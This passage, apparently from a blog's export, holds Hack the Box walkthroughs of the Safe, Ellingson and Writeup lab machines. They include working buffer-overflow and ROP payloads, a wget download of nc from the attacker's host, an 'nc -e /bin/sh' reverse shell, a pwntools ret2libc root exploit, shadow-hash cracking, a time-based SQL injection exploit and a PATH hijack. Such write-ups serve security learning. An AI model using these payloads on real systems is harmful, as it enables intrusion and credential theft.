0.18 What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/bin/sh;@ root sh: 1: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC: not found What do you want me to echo back? �G�^ Segmentation fault With some tweaking I was ready give it a shot with the actual myapp instead of my local variant. With baited breath I pressed enter and hoped for the best. python -c 'print \"A\"*112 + \"/bin/sh|\" + \"\\x06\\x12\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x52\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"cat /home/user/user.txt;\" + \"C\"*100' &gt; custom13.txt root@kali:~/Desktop/HTB/Safe# cat custom13.txt | nc 10.10.10.147 1337 21:20:13 up 2:26, 1 user, load average: 0.00, 0.01, 0.00 7a29e********************* *Happy dance* while not a shell, I was able to cross user flag off the list. With my moment of joy subsiding, let's see how we can use this. At this point, I essentially have single-command RCE. There are quite a few different ways I could do this. My initial thought was adding my ssh keys to authorized_keys. For whatever reason I couldn't get it to work with the single command RCE. Up next, I attempted to execute a nc back to my local listener, but it seemed like it (among a lot of other common binaries) was not installed. No worries, let's get a static version of nc and host it on our machine, then point our RCE to wget it. python -c 'print \"A\"*112 + \"/bin/sh|\" + \"\\x06\\x12\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x52\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"wget -P /home/user http://10.10.15.xxx/nc;\" + \"C\"*100' &gt; custom13.txt cat custom13.txt | nc 10.10.10.147 1337 21:53:02 up 2:59, 1 user, load average: 0.00, 0.03, 0.00 --2019-10-13 21:53:02-- http://10.10.15.xxx/nc Connecting to 10.10.15.xxx:80... connected. HTTP request sent, awaiting response... 200 OK Length: 959800 (937K) Saving to: ‘/home/user/nc’ 0K .......... .......... .......... .......... .......... 5% 1.28M 1s 50K .......... .......... .......... .......... .......... 10% 3.71M 0s 100K .......... .......... .......... .......... .......... 16% 3.20M 0s 150K .......... .......... .......... .......... .......... 21% 8.72M 0s 200K .......... .......... .......... .......... .......... 26% 7.80M 0s 250K .......... .......... .......... .......... .......... 32% 6.51M 0s 300K .......... .......... .......... .......... .......... 37% 4.55M 0s 350K .......... .......... .......... .......... .......... 42% 2.78M 0s 400K .......... .......... .......... .......... .......... 48% 4.13M 0s 450K .......... .......... .......... .......... .......... 53% 5.26M 0s 500K .......... .......... .......... .......... .......... 58% 5.75M 0s 550K .......... .......... .......... .......... .......... 64% 4.37M 0s 600K .......... .......... .......... .......... .......... 69% 4.64M 0s 650K .......... .......... .......... .......... .......... 74% 4.73M 0s 700K .......... .......... .......... .......... .......... 80% 4.79M 0s 750K .......... .......... .......... .......... .......... 85% 8.24M 0s 800K .......... .......... .......... .......... .......... 90% 6.02M 0s 850K .......... .......... .......... .......... .......... 96% 5.90M 0s 900K .......... .......... .......... ....... 100% 8.67M=0.2s 2019-10-13 21:53:02 (4.31 MB/s) - ‘/home/user/nc’ saved [959800/959800] I then repeated the command setting it to executable with chmod +x /home/user/nc. With my local listener setup, I format the command to connect back to me. python -c 'print \"A\"*112 + \"/bin/sh|\" + \"\\x06\\x12\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x52\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"/home/user/nc -e /bin/sh 10.10.15.xxx 1337;\" + \"C\"*100' &gt; custom13.txt root@kali:~/Desktop/HTB/Safe# cat custom13.txt | nc 10.10.10.147 1337 21:54:58 up 3:01, 1 user, load average: 0.00, 0.01, 0.00 Now that there is a limited shell, let's add the ssh keys and connect back properly. echo \"ssh-rsa AAAAB3NzaC1yc2EA.....OR1FcXBuOItl root@kali\" &gt; authorized_keys root@kali:~/Desktop/HTB/Safe# ssh user@10.10.10.147 Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Oct 13 20:03:13 2019 from 10.10.14.38 user@safe:~$ pwd /home/user user@safe:~$ id uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth) Bam. Ok what a ride. It's not over yet though, we still have root to conquer. Root exploitation Unfortunately root was not as exciting as user. I did however still learn a thing or two going through the process. With our proper user shell I take a look around and notice a .kdbx file along with 6 JPG files. Let's move those over to our machine for further analysis. root@kali:~/Desktop/HTB/Safe/roots# scp user@10.10.10.147:/home/user/IMG* . IMG_0545.JPG 100% 1863KB 5.0MB/s 00:00 IMG_0546.JPG 100% 1872KB 4.3MB/s 00:00 IMG_0547.JPG 100% 2470KB 3.4MB/s 00:00 IMG_0548.JPG 100% 2858KB 3.6MB/s 00:00 IMG_0552.JPG 100% 1099KB 3.4MB/s 00:00 IMG_0553.JPG 100% 1060KB 3.8MB/s 00:00 root@kali:~/Desktop/HTB/Safe/roots# scp user@10.10.10.147:/home/user/My* . MyPasswords.kdbx 100% 2446 121.7KB/s 00:00 After a bit of searching around find out that .kdbx is a Keeppass database file. This article gave me a bit of background in how to use JTR to crack the database. After going through the full rockyou.txt wordlist it didn't seem like I had this right. A little deeper searching and I found this article that explained how Keeppass databases can also be locked using a keyfile. Considering we have 6 different JPG files this seems like an interesting angle. Using the various JPGs used keepass2john to generate the hash and pass it along to JTR. After a few attempts - victory! root@kali:~/Desktop/HTB/Safe/roots# keepass2john -k IMG_0547.JPG MyPasswords.kdbx &gt; jcrack.hash root@kali:~/Desktop/HTB/Safe/roots# cat jcrack.hash MyPasswords:$keepass$*2*60000*0*a9d7b3ab261d3d2bc18056e5052938006b72632366167bcb0b3b0ab7f272ab07*9a700a89b1eb5058134262b2481b571c8afccff1d63d80b409fa5b2568de4817*36079dc6106afe013411361e5022c4cb*f4e75e393490397f9a928a3b2d928771a09d9e6a750abd9ae4ab69f85f896858*78ad27a0ed11cddf7b3577714b2ee62cfa94e21677587f3204a2401fddce7a96*1*64*e949722c426b3604b5f2c9c2068c46540a5a2a1c557e66766bab5881f36d93c7 root@kali:~/Desktop/HTB/Safe/roots# john jcrack.hash --wordlist ~/Desktop/rockyou.txt --format=KeePass .. Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL]) ... bullshit (MyPasswords) Session completed Well that's a password alright. Let's get install kpcli and take a poke at what we can see. kpcli:/&gt; import MyPasswords.kdbx . IMG_0547.JPG Please provide the master password: ************************* kpcli:/&gt; ls === Groups === eMail/ Internet/ ./ Unfortunately both eMail and Internet were empty. Ok I wonder what else I can do with kpcli. kpcli:/&gt; stats File: Key file: N/A KeePass file version: Encryption type: Encryption rounds: Number of groups: 11 Number of entries: 3 Entries with passwords of length: - 1-7: 1 - 8-11: 1 - 20+: 1 kpcli:/.&gt; find pass Searching for \"pass\" ... - 1 matches found and placed into /_found/ Would you like to show this entry? [y/N] Path: /./MyPasswords/ Title: Root password Uname: root Pass: **************************** URL: Notes: Oooohhh amazing! Ok so we dumped the \"root\" password into _found. kpcli:/.&gt; cd _found/ kpcli:/_found&gt; ls === Entries === 1. Root password kpcli:/_found&gt; show -f 0 Path: /./MyPasswords/ Title: Root password Uname: root Pass: u3v22******************* URL: Notes: Now this wasn't the flag itself, so let's try and pivot to root using the kpcli password as root's password. And just like that, Safe is in the book. Thanks folks. Until next time." }, { "title": "Hack the Box - Ellingson", "url": "/hack-the-box/2019/10/19/htb-machine-ellingson/", "categories": "hack-the-box", "tags": "htb, buffer-overflow, rop, hashcat, pwnlib, ghidra", "date": "2019-10-19 12:00:00 -0400", "content": "Introduction Ellingson was a very interesting box personally. Marked as hard by Hackthebox it involved web enumeration and python console abuse for initial foothold, finding sensitive backup files and hashcat cracking for user pivot, finally into a ROP based overflow exploit for root priviledge escalation. Ellingson was the second ROP based exploit machine I've worked on within HTB. The first machine, still an active box and will remain unnamed until that writeup is released, was more simplistic than Ellingson and acted as a good base to understand the concepts. This machine required more advanced tactics involving a ret2libc approach and while I developed the exploit manually for the first machine I took the opportunity here to work with a more advanced framework - python's pwn lib. Initial Recon As usual, let's start it off with an nmap enumeration. nmap -sV -sC 10.10.10.139 -v ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA) | 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA) |_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.14.0 (Ubuntu) | http-title: Ellingson Mineral Corp |_Requested resource was http://10.10.10.139/index Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nothing out of the usual so let's take a look at the web service and see what we can find. Looks like a company page. Before we start poking around manually we make sure to kick off burp and get a better idea of the layout. After taking a look at the various pages, there was some interesting information on the various articles. There was some discussion about previous security incidents and some common password warnings. It seems we're loading the various articles by just going to the reference page number url. Let's see what happens when we try to go to a page that doesn't exist like \"4\". Ok some error messages and leakage indicating that at least python is installed on the machine. While scrolling through the error messages I accidentally moved my over to the side and noticed a terminal icon pop up. I thought that seemed quite weird, so looking further into it I quickly realized this was actually a python console, running as the user hal! With some initial poking around I realized that there were four users (or at least for homedirectories). Since we were running as hal we had access to his homedir. Unfortunately, no user flag present there, however we did have access to his .ssh folder and subsequently authorized_keys. Let's add our own in there and see if we can get access properly through ssh. &gt;&gt;&gt; os.chdir(\"/home/hal\") &gt;&gt;&gt; os.getcwd() '/home/hal' &gt;&gt;&gt; dirlist = glob.glob('.*') &gt;&gt;&gt; print(dirlist) ['.profile', '.bashrc', '.ssh', '.local', '.gnupg', '.bash_logout', '.viminfo', '.cache'] &gt;&gt;&gt; os.chdir(\".ssh\") &gt;&gt;&gt; dirlist = glob.glob('*') &gt;&gt;&gt; print(dirlist) ['id_rsa', 'authorized_keys', 'id_rsa.pub'] &gt;&gt;&gt;open('authorized_keys', 'a+').write('\\nssh-rsa AAAAB3N...XBuOItl root@kali\\n') And with that we now have proper shell access. User exploitation Since hal wasn't the true \"user\" in this case we know we still need to pivot to one of the remaining users. As as first step let's get some recon scripts over to the host. root@kali:../tools# scp LinEnum.sh hal@10.10.10.139:/home/hal/ LinEnum.sh 100% 45KB 513.4KB/s 00:00 Unfortunately nothing really pops out as a result of running it so back to the drawing board. After scratching my head for a bit I realized something that was right in my face from the initial shell access. hal@ellingson:~$ id uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm) That's right, hal is also part of the adm group. Now what does that give us as far as information. hal@ellingson:~$ find / -group adm 2&gt; /dev/null | head -n1 /var/backups/shadow.bak hal@ellingson:~$ cat /var/backups/shadow.bak | tail -n 4 theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7::: hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7::: margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7::: duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7::: Just like that looks like we have the password hashes for the four users! Time to format a file and see if we can crack this with hashcat. Kicking off hashcat using -m 1800 and the trusty old rockyou wordlist we manage to crack two of the hashes - for theplague and for margo. hashcat-5.1.0&gt;./hashcat64.exe -m 1800 -a 0 ..\\hashes.txt ..\\rockyou.txt ... $6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:password123 $6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:iamgod$08 I tried ssh'ing in as theplague first, unfortunately that password seemed to have been changed since the backup was taken. Alright, let's give margo a chance. Bam! User in the books, let's move on to root. Root exploitation Having moved the privesc scripts over from the previous pivot I decided to rerun them and see if anything else comes up now that we are running as margo. This time I noticed a process binary garbage I wasn't familiar with. Looks like it also has SUID set. A quick search online didn't return anything for /usr/bin/garbage. That seems promising, let's take a closer look. Hum...ok so need to supply a password. Let's see if we can overflow it. SUID set, check. Overflowable, check. I think we have ourselves an attack vector. For ease of investigation let's grab a copy of the binary and bring it over to our own machine. Before diving into gdb I opened up ghidra to see what can be found with a decompile. We see the password it is searching for in the clear. Now, let's try the password and see if we get any further. Enter the ROP While interesting, the process itself doesn't seem to do anything useful. Let's go back to our local version and attach gdb this time with a unique pattern created to perform the overlfow. $rsp : 0x00007fffd6e11b08 → \"e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1[...]\" $rbp : 0x4134654133654132 (\"2Ae3Ae4A\"?) root@kali:~/Desktop/HTB/Ellingson# /usr/bin/msf-pattern_offset -q e5Ae [*] Exact match at offset 136 So we know that the exact offset is 136 and from then on we control the stack. I initially forgot to what types of restrictions the binary had. Let's quickly do that as well. Alright so the stack is non-executable. Since we control the stack and NX is set this seems like ROP territory. Unfortunately looking at the ghidra decompile there doesn't seem to be anything locally sourcable like system() within the binary. Last check, with our margo console let's see if ASLR is set - sure enough it is. Our understanding so far: ASLR is set - code from external libraries will not always be at the same memory address. We control the stack. NX is set - we cannot put executable code onto the stack. No locally sourced functions within the binary seem interesting. While there aren't any system() style calls we can leverage (i.e. that would be at the same address offsets we can call) there are several puts() calls being made. Since this is part of libc we may be able to leverage this to our advantage. From having ASLR set unfortunately we know that the library will load at a different address each time. Although the adress will be randomized, it's only the base that is randomized. Since we are calling puts() we will have insight into libc. If we can get an exact copy of the version being used, we can use the puts() offset to calculate the base address of libc and ultimately be able to call any function within it. With that said, our approach comes down to: Get a copy of the libc version running on Ellingson. Find a way to leak the address using puts(). Calculate the offset based on leaked address to leverage system(). Add system() as uid=0 to our ROP chain. The first part was simple enough. As margo we were able to copy the libc library on to our local machine. Combined with the garbage binary we have everything we need to try and get this to work. margo@ellingson:~$ ldd /usr/bin/garbage \tlinux-vdso.so.1 (0x00007fffbcdf2000) \tlibc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d6eb2b000) \t/lib64/ld-linux-x86-64.so.2 (0x00007f5d6ef1c000) margo@ellingson:~$ exit logout Connection to 10.10.10.139 closed. root@kali:~/Desktop/HTB/Ellingson# scp margo@10.10.10.139:/lib/x86_64-linux-gnu/libc.so.6 . margo@10.10.10.139's password: libc.so.6 At this point I could continue to develop the exploit manually. Since I did that with the other HTB machine I wanted to explore other ways of getting this done. During my research I saw several references to python's pwn lib library and decided I would take the opportunity to learn how to use it. pwn lib intro and pwn lib ROP reference documentation was invaluable in understanding how the library worked. PWN lib Let's get the initial template setup. We have margo's password so let's connect to the host and call the binary. from pwn import * import warnings #Ignore paramiko ssh encryption warnings - https://github.com/ansible/ansible/issues/52598 warnings.filterwarnings(action='ignore',module='.*paramiko.*') context(terminal=['tmux','new-window']) context(os = 'linux', arch = 'amd64') shell = ssh(host='10.10.10.139', user=\"margo\", password=\"iamgod$08\") p = shell.run(\"/bin/bash\") p.sendline(\"/usr/bin/garbage\") #Checking extra information while developing context.log_level = 'DEBUG' #Pull local versions of binary and libc, creating pwnlib objects garbage = ELF('garbage') libc = ELF('libc.so.6') #Junk characters to fill up buffer junk = \"A\" * 136 payload = junk + junk p.recvuntil('password:') p.sendline(payload) p.recvuntil('denied.') So far so good, let's start adding the ROP section. Our initial effort is to call puts() and leak the address. We find a pop rdi,ret gadget then add libc's puts address from the global offset table to the stack, then call puts() to print the address. Finally we call the main function to loop the execution flow back and avoid having the binary break. #ROP Chain designed to leak libc address rop.search(regs=['rdi'], order='regs') rop.puts(garbage.got['puts']) #Recall main once overflowed rop.call(garbage.symbols['main']) print \"ROP Chain:\\n{}\".format(rop.dump()) payload = junk + str(rop) Perfect. Now let's see if we can print out the address and run it a few times to see it in action. payload = junk + str(rop) p.recvuntil('password:') p.sendline(payload) leak = p.recvuntil('denied.') leaked_puts_address_in_libc = p.recv()[:8].strip().ljust(8, \"\\x00\") libcaddr = u64(leaked_puts_address_in_libc) print(\"LIBC Puts() address {}\".format(hex(libcaddr))) Great! Now that we have the offsetted puts() address we can come up with our second ROP chain, this time hopefully to execute system() and pop our root shell. #Add ROP to execute system(/bin/bash) as uid=0 #based on the leaked libc addresses libc.address = leaked_puts_address_in_libc - libc.symbols['puts'] print(\"LIBC Main address {}\".format(hex(libc.address))) rop2 = ROP(libc) rop2.setuid(0x0) rop2.system(next(libc.search('/bin/sh\\x00'))) print \"ROP Chain:\\n{}\".format(rop2.dump()) #Format the second payload payload = junk + str(rop2) p.sendline(payload) p.recvuntil('denied.') p.interactive() And with that, Ellingson is in the books. Extra notes After the pain of manually developing the ROP exploit for the other active box I was shook at how easy and intuitive pwn lib really was. I definitely suggest going through both approaches to understand the concepts at a deeper level but once you understand how it works this library definitely helps speed up the process. Personally I'm giving myself a few follow ups from having this box completed: Go back to the other ROP exploit and see if using pwn lib makes the exploit easier than my kludgey way of doing it. Explore further the functionality of pwn lib and what else it can offer / become more familiar with the various uses. Follow up my first buffer overflow presentation with a second one covering ROP and more advanced topics. Thanks folks. Until next time." }, { "title": "Hack the Box - Writeup", "url": "/hack-the-box/2019/10/12/htb-machine-writeup/", "categories": "hack-the-box", "tags": "htb, cms, pspy", "date": "2019-10-12 11:00:00 -0400", "content": "Introduction Overall a nice simple box from HTB. The machine was relatively easy with an out-of-the-box CMS exploit for user and an interesting login behavior abuse to pivot to root. I'll cover both the proper exploits but also a few of my /facepalm moments throughout the experience. Initial Recon The machine's IP was 10.10.10.138. Let's start off with an nmap enumaration and see what we can find nmap -sS -Pn -p1- -sV -sC --open -v 10.10.10.138 ... Nmap scan report for 10.10.10.138 Host is up (0.018s latency). Not shown: 65533 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA) | 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA) |_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519) 80/tcp open tcpwrapped Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Alright, SSH and potential web-service. Let's pop over to the browser and see what we can find Nothing too useful. Let's open up burpsuite and see if we can find anything else of use through here. We do a quick spider and end up with the following. That's a bit better! We even see index.php that accepts a page parameter. This is starting to look promising. Wait, we didn't see anything of that useful on the main page, how did our spider result get /writeup? Oh there we go, look at robots.txt: # __ # _(\\ |@@| # (__/\\__ \\--/ __ # \\___|----| | __ # \\ }{ /\\ )_ / _\\ # /\\__/\\ \\__O (__ # (--/\\--) \\__/ # _)( )(_ # `---''---` # Disallow access to the blog until content is finished. User-agent: * Disallow: /writeup/ User exploitation Lesson learned regarding checking everything - always check robots.txt for any leftover crumbs. Let's not make that same mistake twice and go through the source code of the newly discovered writeup/index.php page and see what we can come up with. &lt;base href=\"http://10.10.10.138/writeup/\" /&gt; &lt;meta name=\"Generator\" content=\"CMS Made Simple - Copyright (C) 2004-2019. All rights reserved.\" /&gt; &lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /&gt; This seems interesting. From previous experience we know there are a quite a few CMS related exploits. While we don't see the exact version used here we can initially assume that it is a version released sometime in 2019. Let's see what searchploit has for us. $&gt; searchsploit CMS Made Simple ------------------------------------------------------------------------------------------------------------------------------------------ Exploit Title | Path | (/usr/share/exploitdb/) ------------------------------------------------------------------------------------------------------------------------------------------ CMS Made Simple (CMSMS) Showtime2 - File Upload RCE (Metasploit) | exploits/php/remote/46627.rb CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion | exploits/php/webapps/26217.html CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting | exploits/php/webapps/26298.txt CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting | exploits/php/webapps/29272.txt CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection | exploits/php/webapps/29941.txt CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/32668.txt CMS Made Simple 1.11.9 - Multiple Vulnerabilities | exploits/php/webapps/43889.txt CMS Made Simple 1.2 - Remote Code Execution | exploits/php/webapps/4442.txt CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection | exploits/php/webapps/4810.txt CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload | exploits/php/webapps/5600.php CMS Made Simple 1.4.1 - Local File Inclusion | exploits/php/webapps/7285.txt CMS Made Simple 1.6.2 - Local File Disclosure | exploits/php/webapps/9407.txt CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting | exploits/php/webapps/33643.txt CMS Made Simple 1.6.6 - Multiple Vulnerabilities | exploits/php/webapps/11424.txt CMS Made Simple 1.7 - Cross-Site Request Forgery | exploits/php/webapps/12009.html CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion | exploits/php/webapps/34299.py CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery | exploits/php/webapps/34068.html CMS Made Simple 2.1.6 - Multiple Vulnerabilities | exploits/php/webapps/41997.txt CMS Made Simple 2.1.6 - Remote Code Execution | exploits/php/webapps/44192.txt CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution | exploits/php/webapps/44976.py CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution | exploits/php/webapps/45793.py CMS Made Simple &lt; 1.12.1 / &lt; 2.1.3 - Web Server Cache Poisoning | exploits/php/webapps/39760.txt CMS Made Simple &lt; 2.2.10 - SQL Injection | exploits/php/webapps/46635.py CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload | exploits/php/webapps/34300.py CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload | exploits/php/webapps/34298.py CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload | exploits/php/webapps/46546.py ------------------------------------------------------------------------------------------------------------------------------------------ Geez still a large field. Alright, let's ignore the modules and focus on only the core CMS Made Simple since we don't have any more hints as to what is actually installed. With our assumption that we are working with a version released in 2019 let's take a look at CMS Made Simple &lt; 2.2.10 - SQL Injection a little more closely and see if it will be useful for us. The exploit's functions all repeat a similar pattern for salt, username, email and password. Let's step through one of those and understand what is going on. ... url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' ... def dump_username(): ... while flag: flag = False for i in range(0, len(dictionary)): temp_db_name = db_name + dictionary[i] ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_db_name) payload = \"a,b,1,5))+and+(select+sleep(\" + str(TIME) + \")+from+cms_users+where+username+like+0x\" + ord_db_name_temp + \"25+and+user_id+like+0x31)+--+\" url = url_vuln + \"&amp;m1_idlist=\" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time &gt;= TIME: flag = True break if flag: db_name = temp_db_name ord_db_name = ord_db_name_temp output += '\\n[+] Username found: ' + db_name flag = True Simply put the exploit iterates through the list of characters, attempting to compare to the actual username. When the character matches the stored username the nested sleep function is also triggered - causing the request to take longer than an unsuccessful request by a measure of TIME defined in the code. sqlinject.net explains this concept: The attacker may also be interested to extract some information or at least verify a few assumptions. ... this can be done by integrating the time delay inside a conditional statement. By capturing the elapsed_time while executing the payload we can determine the right first character when the query takes TIME more time. Once successful, the loop stores that character and moves on to the next - repeating the process until no further characters trigger the sleep function, letting us know we have the full value. Alright enough theory - let's run the exploit and hope for the best. python 46635.py -u http://10.10.10.138/writeup --crack --wordlist /root/Desktop/rockyou.txt [+] Salt for password found: 5a599ef579066807 [+] Username found: jkr [+] Email found: jkr@writeup.htb [+] Password found: 62def4866937f08cc13bab43bb14e6f7 [+] Password cracked: raykayjay9 Bingo, user creds! So here is a proud facepalm moment. Prior to above run, I ran the exploit without --crack or --wordlist and got the same output as above without the password cracked output. In my momentary ignorance I completely ignored that this even looked like a hash, took that line of output verbatim and actually thought this was the password. As you can see below clearly that did not get me far. Thankfully I quickly realized my error and ran the cracked variant. Just like that we have user access through SSH. ssh jkr@10.10.10.138 jkr@10.10.10.138's password: Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. jkr@writeup:~$ pwd /home/jkr jkr@writeup:~$ ls user.txt jkr@writeup:~$ cat user.txt d4e493******************* jkr@writeup:~$ Root exploitation the usual initial checks did not return anything interesting - sudoers list, running processes, initial poking around at the files. Decided to get a few helper scripts over to the host and see if anything else would come up. scp pspy64 jkr@10.10.10.138:/home/jkr/pspy64 jkr@10.10.10.138's password: Left pspy running in a terminal while I continued to poke around. There were a few other folks on the machine around the same time as me. At first I didn't think pspy would return anything useful, then I saw a few more people log on and something interesting happened. 2019/10/01 16:25:13 CMD: UID=0 PID=2689 | sshd: [accepted] 2019/10/01 16:25:25 CMD: UID=0 PID=2690 | sshd: jkr [priv] 2019/10/01 16:25:25 CMD: UID=0 PID=2691 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d &gt; /run/motd.dynamic.new 2019/10/01 16:25:25 CMD: UID=0 PID=2692 | run-parts --lsbsysinit /etc/update-motd.d 2019/10/01 16:25:25 CMD: UID=0 PID=2693 | uname -rnsom 2019/10/01 16:25:25 CMD: UID=0 PID=2694 | sshd: jkr [priv] So what is happening here? Looks like on SSH connection a logon function gets triggered. I wasn't completely familiar with the various options and flags so took a look at the man pages. ENV(1) User Commands ENV(1) NAME env - run a program in a modified environment SYNOPSIS env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...] DESCRIPTION Set each NAME to VALUE in the environment and run COMMAND. Mandatory arguments to long options are mandatory for short options too. -i, --ignore-environment start with an empty environment Ok so breaking it down: As root, clear out environment variables, set PATH then execute run-parts. Similarly let's look at run-parts' options. You may already know where I went wrong but let's follow my logic as I stepped through. RUN-PARTS(8) System Manager's Manual RUN-PARTS(8) NAME run-parts - run scripts or programs in a directory SYNOPSIS run-parts [--test] [--verbose] [--report] [--lsbsysinit] [--regex=RE] [--umask=umask] [--arg=argument] [--exit-on-error] [--help] [--version] [--list] [--reverse] [--] DIRECTORY run-parts -V DESCRIPTION run-parts runs all the executable files named within constraints described below, found in directory directory. Other files and directories are silently ignored. If neither the --lsbsysinit option nor the --regex option is given then the names must consist entirely of ASCII upper- and lower-case letters, ASCII digits, ASCII underscores, and ASCII minus-hyphens. If the --lsbsysinit option is given, then the names must not end in .dpkg-old or .dpkg-dist or .dpkg-new or .dpkg-tmp, and must belong to one or more of the following namespaces: the LANANA-assigned namespace (^[a-z0-9]+$); the LSB hierarchical and reserved namespaces (^_?([a-z0-9_.]+-)+[a-z0-9]+$); and the Debian cron script namespace (^[a-zA-Z0-9_-]+$). \t ... --lsbsysinit use LSB namespaces instead of classical behavior. \"run scripts or programs in a directory\" huh? That sounds amazingly like something we would want to happen. If we could add our own script within /etc/update-motd.d we could trigger it to be executed by root anytime someone ssh'd in to the host. Unfortunately we did not have write capabilities to that folder as jkr and after beating my head against the keyboard for a few minutes I took a step back. That's when I realized my mistake... take a look at the pspy output again. How is run-parts being run? Explicit location or...relative location! Since we know exactly what PATH is being set to all we have to do is write our own run-parts in one of the PATH locations prior to its regular location. While we didn't have read entitlements at /usr/local/sbin we did have write entitlements. Since I knew the location of the root flag I decided to skip doing anything fancy like a reverse 